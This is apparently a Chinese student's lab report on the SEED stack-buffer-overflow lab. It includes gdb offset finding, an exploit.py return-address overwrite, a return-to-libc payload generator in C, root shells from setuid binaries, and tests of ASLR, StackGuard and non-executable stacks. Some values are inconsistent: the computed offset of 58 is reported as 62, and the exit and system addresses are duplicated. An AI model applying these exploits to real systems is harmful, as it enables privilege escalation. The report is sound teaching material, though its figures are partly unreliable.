

# 网安综合课程设计实验报告 2

## 实验 1: 运行 shellcode

### 1> 编写 shellcode 程序并运行

```
[09/02/20]seed@VM:~$ cd Desktop
[09/02/20]seed@VM:~/Desktop$ gcc -z execstack -o call_shellcode call_shellcode.c
[09/02/20]seed@VM:~/Desktop$ ./call_shellcode
$ pwd
/home/seed/Desktop
$ █
```

发现成功进入到 shell 中。

## 实验 2: 漏洞利用

### 1> 获取程序栈内信息

Stack.c 程序采用实验网站下载程序, BUF\_SIZE 的值为 50, 运行结果如下:

```
Terminal
[09/03/20]seed@VM:~/Desktop$ gcc -DBUF_SIZE=50 -o stack_debug -z execstack -fno-
stack-protector -g stack.c
[09/03/20]seed@VM:~/Desktop$ gdb stack_debug
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from stack_debug...done.
gdb-peda$ b bof
Breakpoint 1 at 0x80484f1: file stack.c, line 21.
gdb-peda$ run
Starting program: /home/seed/Desktop/stack_debug
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
```

```

0x80484fb <bof+16>:  call 0x8048390 <strcpy@plt>
[-----stack-----]
0000| 0xbfffead0 --> 0xb7fff000 --> 0x23f3c
0004| 0xbfffead4 --> 0x804825c --> 0x62696c00 ('')
0008| 0xbfffead8 --> 0x8048620 --> 0x61620072 ('r')
0012| 0xbfffeadc --> 0xb7dc88f7 (<_GI_IO_fread+119>: add esp,0x10)
0016| 0xbfffeae0 --> 0x804fa88 --> 0xfbad2488
0020| 0xbfffeae4 --> 0xbfffeb67 --> 0x90909090
0024| 0xbfffeae8 --> 0x205
0028| 0xbfffeaec --> 0xb7c4fc45 ("GLIBCXX_3.4")
[-----]
Legend: code, data, rodata, value

Breakpoint 1, bof (
    str=0xbfffeb67 '\220' <repeats 112 times>, "\320\353\377\277", '\220' <repeats 84 times>...) at stack.c:21
21      strcpy(buffer, str);
gdb-peda$ p $ebp
$1 = (void *) 0xbfffeb18
gdb-peda$ p &buffer
$2 = (char (*)[50]) 0xbfffeade
gdb-peda$ p/d 0xbfffeb18-0xbfffeade
$3 = 58
gdb-peda$

```

得到距离为 62

2> 编写 badfile 生成程序:

其中, 程序整体同实验网站中 exploit.py, 关键部分的代码修改为:

```

#####
ret    = 0xbfffeb18+120 # replace 0xAABCCDD with the correct value
offset = 62            # replace 0 with the correct value

content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')

#####

```

3> 运行程序结果为:

```

[09/03/20]seed@VM:~/Desktop$ gcc -DBUF_SIZE=50 -o stack -z execstack -fno-stack-protector stack.c
[09/03/20]seed@VM:~/Desktop$ sudo chown root stack
[09/03/20]seed@VM:~/Desktop$ sudo chmod 4755 stack
[09/03/20]seed@VM:~/Desktop$ python3 exploit.py
[09/03/20]seed@VM:~/Desktop$ ./stack
#

```

可以看到成功进入到了 root

### 实验 3: dash()

1> 重定向 dash 并运行程序 (注释 setuid)

```

[09/02/20]seed@VM:~/Desktop$ sudo ln -sf /bin/dash /bin/sh
[09/02/20]seed@VM:~/Desktop$ gcc dash_shell_test.c -o dash_shell_test
[09/02/20]seed@VM:~/Desktop$ sudo chown root dash_shell_test
[09/02/20]seed@VM:~/Desktop$ sudo chmod 4755 dash_shell_test
[09/02/20]seed@VM:~/Desktop$ ./dash_shell_test
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$

```

## 2> 取消注释并重新运行

```
[09/03/20]seed@VM:~/Desktop$ gcc dash_shell_test.c -o dash_shell_test
[09/03/20]seed@VM:~/Desktop$ sudo chown root dash_shell_test
[09/03/20]seed@VM:~/Desktop$ sudo chmod 4755 dash_shell_test
[09/03/20]seed@VM:~/Desktop$ ./dash_shell_test
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
#
```

结论：设置了 uid 之后，成功进入了 root，此时可以看到 uid 从之前的 1000seed 到了 0root。

## 3> 对实验二的继续实验

首先实验二中获得的 root 权限如下：

```
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
#
```

修改 exploit.py，加入指定代码后，

```
[09/03/20]seed@VM:~/Desktop$ python3 exploit.py
[09/03/20]seed@VM:~/Desktop$ ./stack
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
#
```

此时的 uid 变为 root，成功实现了实验结果。

## 实验 4: 更改地址随机

### 1> 打开地址随机后运行实验 2:

```
[09/03/20]seed@VM:~/Desktop$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
[09/03/20]seed@VM:~/Desktop$ ./stack
Segmentation fault
[09/03/20]seed@VM:~/Desktop$
```

发现无法进行正常攻击

## 实验 5: 打开 StackGuard

### 1> 打开 StackGuard 后运行实验 2:

```
[09/03/20]seed@VM:~/Desktop$ gcc -DBUF_SIZE=50 -o stack1 -z execstack stack.c
[09/03/20]seed@VM:~/Desktop$ sudo chown root stack1
[09/03/20]seed@VM:~/Desktop$ sudo chmod 4755 stack1
[09/03/20]seed@VM:~/Desktop$ ./stack1
*** stack smashing detected ***: ./stack1 terminated
Aborted
[09/03/20]seed@VM:~/Desktop$
```

程序执行时对栈进行了检查，并且报出了错误。

## 实验 6: 打开 Non-executable

1> 打开 Non-executable 并运行

```
[09/03/20]seed@VM:~/Desktop$ gcc -DBUF_SIZE=50 -o stack2 -z noexecstack -fno-stack-protector stack.c
[09/03/20]seed@VM:~/Desktop$ sudo chown root stack2
[09/03/20]seed@VM:~/Desktop$ sudo chmod 4755 stack2
[09/03/20]seed@VM:~/Desktop$ ./stack2
Segmentation fault
[09/03/20]seed@VM:~/Desktop$
```

无法实现。

## 实验 7: libc()函数的地址

1> gdb 调试

```
[09/03/20]seed@VM:~/Desktop$ gcc -DBUF_SIZE=15 -fno-stack-protector -z noexecstack -o retlib retlib.c
[09/03/20]seed@VM:~/Desktop$ sudo chown root retlib
[09/03/20]seed@VM:~/Desktop$ sudo chmod 4755 retlib
[09/03/20]seed@VM:~/Desktop$ sudo rm badfile
[09/03/20]seed@VM:~/Desktop$ touch badfile
[09/03/20]seed@VM:~/Desktop$ gdb -q retlib
Reading symbols from retlib...(no debugging symbols found)...done.
gdb-peda$ p system
No symbol table is loaded. Use the "file" command.
gdb-peda$ run
Starting program: /home/seed/Desktop/retlib
Returned Properly
[Inferior 1 (process 6444) exited with code 01]
Warning: not running or target is remote
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e42da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb7e369d0 <__GI_exit>
gdb-peda$
```

输出了 system 与 exit 的地址

## 实验 8: 将/bin/sh 输入到内存中

1> 实验如下:

```
[09/03/20]seed@VM:~/Desktop$ export MYSHELL=/bin/sh
[09/03/20]seed@VM:~/Desktop$ env | grep /bin/sh
MYSHELL=/bin/sh
```

```
[09/03/20]seed@VM:~/Desktop$ gcc 1.c -o 11
[09/03/20]seed@VM:~/Desktop$ ./11
bfffffe24
[09/03/20]seed@VM:~/Desktop$
```

其中, 1.c 如下:

```
1.c (~/.Desktop) - gedit
Open [?] Save
exploit.py x stack.c x retlib.c x 1.c x
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
void main(){ char* shell = getenv("MYSHELL"); if (shell) printf("%x\n", (unsigned int)shell); }
```

## 实验 9: 代码注入

### 1> badfile 生成文件

```
retlib.c x exploit2.c x exploit.py x
#include<stdlib.h>
#include<stdio.h>
#include<string.h>

int main(int argc, char **argv) {
    char buf[200];
    memset(buf,0xaa,200);
    FILE *badfile;
    badfile = fopen("./badfile", "w");
    /* You need to decide the addresses and the values for X, Y, Z. The order of the following three statement
    the order of X, Y, Z. Actually, we intentionally scrambled the order. */
    *(long *) &buf[70] = 0xbffffe1e ; // "/bin/sh" P
    *(long *) &buf[66] = 0xb7e42da0 ; // exit() P
    *(long *) &buf[62] = 0xb7e42da0 ; // system() P

    fwrite(buf, sizeof(buf), 1, badfile); fclose(badfile);
}
```

其中修改的地方:

xyz 的值、exit、system、/bin/sh 的地址、三者命令的顺序。

其中, x 的值即需要指向 system 的相对偏移量为 ebp+4;

y 的值即需要指向 exit()的相对偏移量为 ebp+8;

z 的值为需要指向/bin/sh 的相对偏移量为 ebp+12;

其中 ebp 为实验 2 中得到的值。

三者的地址通过前面的实验已经得到, 这里不再赘述, (注: 因为在此次实验中调试了许多次, 所以可能最终的结果有所差异)。

### 2> 编译并运行程序

```
[09/03/20]seed@VM:~/Desktop$ gcc exploit2.c -o ex2
[09/03/20]seed@VM:~/Desktop$ ./ex2
[09/03/20]seed@VM:~/Desktop$ ./stack
zsh:1: no such file or directory: bin/sh
Segmentation fault
[09/03/20]seed@VM:~/Desktop$ gcc exploit2.c -o ex2
[09/03/20]seed@VM:~/Desktop$ ./ex2
[09/03/20]seed@VM:~/Desktop$ ./stack
#
```

如上所示, 最终得到了 root 权限。

在调试过程中遇到了以下的问题:

首先是三个命令的顺序问题, 之前忽略了顺序导致没有成功运行。

其次是/bin/sh 的问题, 没有注意到环境变量是会随着程序的不同而发生改变, 所以选择错误了环境变量的地址而且没有发现, 浪费了大量的时间。最终发现后, 通过几次尝试, 成功获得了正确的环境变量地址, 如上展示为最后一次与倒数第二次尝试。

## 实验 10: 打开地址随机

### 1> 实验如下:

```
[09/03/20]seed@VM:~/Desktop$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
[09/03/20]seed@VM:~/Desktop$ ./stack
Segmentation fault
[09/03/20]seed@VM:~/Desktop$
```

不能取得特权。

## 实验 11： 复原 shell 配置

1> 实验如下：

```
[09/03/20]seed@VM:~/Desktop$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[09/03/20]seed@VM:~/Desktop$ sudo ln -sf /bin/dash /bin/sh
[09/03/20]seed@VM:~/Desktop$ ./stack
$
```

无法进入 root 权限。

## 实验总结

本次实验了解了通过栈溢出实现特权提取的功能，首先了解了栈的结构，其次通过 gdb 调试命令获取了某些关键信息，之后通过这些关键信息实现了 shellcode 的注入。

当编译允许栈内运行时，可以直接将代码注入栈内，通过返回地址指到相应的位置。而如果不允许栈内运行，则将返回地址指向 system 系统命令，进而指向/bin/sh 获得权限。

本次实验同样有一些限制条件，首先是编译器会进行溢出检测，需要手动关闭，其次是随机地址问题，同样需要关闭，再者若是/bin/sh 指向 dash 会检测 uid，这时即使成功攻击也无法提取权限。可以看到在实际的环境中想要进行栈溢出攻击是有很大的难度。

在实验中同样遇到了一些问题：比如 gdb 调试的相关命令及含义，/bin/sh 环境变量的位置问题，以及对于 linux 系统的熟练度不足。在本次实验中成功克服了这些问题，取得了不错的收获。